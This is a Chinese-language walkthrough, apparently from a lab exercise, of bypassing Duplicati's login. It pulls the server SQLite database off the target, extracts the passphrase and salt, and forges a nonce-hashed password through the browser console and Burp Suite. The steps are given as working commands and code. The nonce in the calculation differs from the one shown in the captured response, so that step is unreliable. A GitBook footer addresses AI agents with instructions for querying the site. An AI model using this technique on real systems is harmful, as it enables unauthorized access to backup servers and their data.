> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md).

# Duplicati - 绕过登录认证

{% embed url="<https://github.com/duplicati/duplicati/issues/5197>" %}

在目标分析期间，一个 **Duplicati** Web 门户被发现。该门户暴露了一个要求输入密码的身份验证面板。

<figure><img src="/files/5517427e720924e61e514964a56b4f1a7fffcebc" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Duplicati 是一款备份客户端，可将本地文件的加密、增量、压缩备份存储到云存储提供商或文件服务器上。
{% endhint %}

系统枚举定位到 Duplicati 配置目录位于 `/opt/duplicati`。SQLite 文件 `Duplicati-server.sqlite` 可能包含敏感信息。

<figure><img src="/files/525c4b042d6e512ed6d74c10a4415512b0f0a873" alt=""><figcaption></figcaption></figure>

#### 下载 SQLite 文件

为了分析该文件，使用 Python HTTP 服务器将其下载到攻击者机器：

```bash
python3 -m http.server 4444
```

```bash
wget http://10.10.11.30:4444/Duplicati-server.sqlite
```

<figure><img src="/files/e652c5af45692cf8da788234af82eacc31035963" alt=""><figcaption></figcaption></figure>

#### SQLite 文件分析

使用 `sqlite3` 打开该文件以检查其内容：

```bash
sqlite3 Duplicati-server.sqlite
```

列出表并选择 `option` 表进行数据提取：

```sql
.tables
select * from option;
```

<figure><img src="/files/7de99d4dea69c717607fa7f850d15c01d27ebdf7" alt=""><figcaption></figcaption></figure>

| 键                                 | 值                                              |
| --------------------------------- | ---------------------------------------------- |
| `server-passphrase`               | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` |
| `server-passphrase-salt`          | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` |
| `server-passphrase-trayicon`      | `ce13157b-a06e-4b60-811d-60d294e8d0ae`         |
| `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` |

#### 密码短语转换

该 `server-passphrase` 值是 Base64 编码的。将其解码并转换为十六进制：

```bash
echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256
```

<figure><img src="/files/86c5b55691401fdd897a753262dc7c5f1f03571f" alt=""><figcaption></figcaption></figure>

#### 这会得到以下十六进制值：

```excel-formula
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
```

### 最终密码计算

要生成最终密码，请在浏览器控制台中执行以下步骤：

**定义加盐后的密码短语：**

```javascript
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
```

### 使用 Burp Suite 拦截请求

在 Burp Suite 中拦截请求，选择 `拦截 > 此请求的响应`，然后点击 `转发`.

<figure><img src="/files/ffc2d8edb28494b8f990bdd05e059f086d102225" alt=""><figcaption></figcaption></figure>

使用 **Burp Suite** 拦截的 HTTP 请求显示以下值：

<figure><img src="/files/807a23aa3fa10ee1a6b4babebcc17c0cd761e471" alt=""><figcaption></figcaption></figure>

```json
{
  "Status": "OK",
  "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=",
  "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
```

该 `Salt` 字段与 `server-passphrase-salt` 从数据库中提取出的值相匹配。

**计算 nonce 密码：**

{% code overflow="wrap" %}

```javascript
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64);
```

{% endcode %}

**打印结果：**

```javascript
console.log(noncedpwd);
```

<figure><img src="/files/685a78c89997c0a2ed52c376a867c354652817ed" alt=""><figcaption></figcaption></figure>

生成的密码（`noncedpwd`）是：

`bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=`

#### 密码注入与利用

1. 粘贴计算出的密码。
2. 使用 **Ctrl + U** 将其进行 URL 编码。

<figure><img src="/files/3a5b2a73f90ae007048934d60c64de6a34d11491" alt=""><figcaption></figcaption></figure>

3. 点击 **转发** 再次以完成利用。

<figure><img src="/files/330bbe97337febd4deab51073a8552c571fb260a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.